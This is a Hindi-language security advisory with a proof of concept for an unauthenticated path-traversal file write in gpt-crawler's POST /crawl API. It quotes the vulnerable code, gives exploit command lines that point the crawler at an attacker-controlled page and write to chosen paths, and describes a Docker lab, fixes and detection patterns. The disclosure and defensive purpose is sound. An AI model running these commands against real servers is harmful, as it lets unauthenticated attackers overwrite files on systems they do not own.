
CVE-2026-82286 — gpt-crawler <=1.5.1 में outputFileName (POST /crawl) के माध्यम से बिना प्रमाणीकरण के मनमाना फ़ाइल लेखन। PoC + स्व-निहित Docker लैब। CVSS 8.6, CWE-22।
BuilderIO/gpt-crawler (≈22k ★) में अनधिकृत मनमाना फ़ाइल लेखन के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो POST /crawl API एंडपॉइंट के outputFileName पैरामीटर के माध्यम से होता है।
| CVE | CVE-2026-82286 |
| उत्पाद | gpt-crawler (BuilderIO) |
| प्रभावित | <= 1.5.1 (नवीनतम रिलीज़; डिफ़ॉल्ट ब्रांच HEAD भी प्रभावित) |
| वर्ग | पाथ ट्रैवर्सल / मनमाना फ़ाइल लेखन (CWE-22, CWE-73) |
| CVSS 3.1 | 8.6 — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L (उच्च) |
| प्रमाणीकरण | कोई नहीं (अनधिकृत) |
| पूर्वशर्त | API सर्वर मोड चालू (npm run start:server) |
| स्थिति | पुष्टि एंड-टू-एंड (2026-08-29 तक अनपैच्ड) |
API सर्वर (src/server.ts) बिना किसी प्रमाणीकरण के POST /crawl को उजागर करता है। JSON बॉडी को सीधे क्रॉलर Config में पार्स किया जाता है; outputFileName को केवल z.string() के रूप में मान्य किया जाता है — कोई पाथ प्रतिबंध नहीं है:
// src/config.ts
outputFileName: z.string(),
src/core.ts में, write() आउटपुट पाथ को सीधे उस हमलावर-नियंत्रित स्ट्रिंग से बनाता है और उस पर fs.writeFile() को कॉल करता है:
// src/core.ts (write)
const nextFileName = (): string =>
`${config.outputFileName.replace(/\.json$/, "")}-${fileCounter}.json`;
...
await writeFile(nextFileNameString, JSON.stringify(currentResults, null, 2));
इसलिए, एक दूरस्थ, अनधिकृत हमलावर इच्छित storage/ आउटपुट क्षेत्र के बाहर लिखी गई फ़ाइल के पूर्ण पाथ को नियंत्रित करता है — निरपेक्ष पाथ (/tmp/x, /home/<user>/x) या ../ ट्रैवर्सल के माध्यम से। फ़ाइल सामग्री क्रॉल परिणाम [{title,url,html}] है, जिसके फ़ील्ड उस पेज से आते हैं जिस पर हमलावर क्रॉलर को इंगित करता है (url को आपके नियंत्रित सर्वर पर सेट करें), इसलिए सामग्री हमलावर-प्रभावित होती है।
एकमात्र बाधा अनिवार्य -<N>.json प्रत्यय (नाम हमेशा .json में समाप्त होता है) और JSON-सरणी सामग्री रैपर है — यही कारण है कि इसे स्वच्छ RCE के बजाय मनमाना फ़ाइल लेखन (I:H) के रूप में स्कोर किया गया है।
python3 exploit.py \
-t http://TARGET:3000 \
-u http://ATTACKER:8081/index.html \ # पेज जिसकी सामग्री लिखी गई फ़ाइल में आती है
-o /home/myuser/PWNED # -> /home/myuser/PWNED-1.json लिखता है
एंडपॉइंट HTTP प्रतिक्रिया में लिखी गई फ़ाइल की सामग्री को प्रतिबिंबित करता है। अनुभवजन्य प्रमाण लक्ष्य फ़ाइल सिस्टम पर हमलावर-चुने गए पाथ पर फ़ाइल का दिखना है (EVIDENCE.txt देखें)।
cd lab && ./run.sh
python3 ../exploit.py -t http://127.0.0.1:3000 -u http://127.0.0.1:8081/index.html -o /tmp/PWNED
docker exec gptc-vuln cat /tmp/PWNED-1.json # <- storage/ के बाहर लिखा गया, अनधिकृत
टियरडाउन: docker rm -f gptc-vuln; pkill -f 'http.server 8081'।
एक अनधिकृत नेटवर्क हमलावर मनमाने पाथ पर फ़ाइलें बना या अधिलेखित कर सकता है (प्रक्रिया उपयोगकर्ता की अनुमतियों और -<N>.json प्रत्यय के अधीन) आंशिक रूप से हमलावर-नियंत्रित सामग्री के साथ। तैनाती के आधार पर यह कॉन्फ़िगरेशन/डेटा फ़ाइलों के साथ छेड़छाड़, एप्लिकेशन स्थिति को नष्ट करना (अखंडता/उपलब्धता), और लक्ष्यों पर जो बाद में लिखी गई *.json फ़ाइल का उपभोग करते हैं, आगे श्रृंखलाबद्ध किया जा सकता है।
सिंक केवल API सर्वर मोड (src/server.ts, npm run start:server / containerapp तैनाती के माध्यम से शुरू) में पहुंच योग्य है, डिफ़ॉल्ट CLI मोड में नहीं। सर्वर API_HOST (डिफ़ॉल्ट localhost) को बांधता है; वास्तविक तैनाती जो API को उजागर करती हैं, इसे 0.0.0.0 पर सेट करती हैं (जैसा कि containerapp छवि करती है), जिससे एंडपॉइंट दूरस्थ रूप से पहुंच योग्य हो जाता है।
outputFileName को एक निश्चित आधार निर्देशिका के विरुद्ध हल करें और परिणाम को अस्वीकार करें यदि यह उससे बाहर निकलता है (path.resolve(base, name) + उपसर्ग जांच); .. और निरपेक्ष पाथ हटाएं।POST /crawl में प्रमाणीकरण/प्राधिकरण जोड़ें।POST /crawl बॉडी देखें जिनके outputFileName में /, \, या .. होता है, और क्रॉलर की storage/ निर्देशिका के बाहर दिखाई देने वाली *-1.json फ़ाइलों के लिए।
अनुसंधान और PoC: Caio Fabrício (BiiTts)।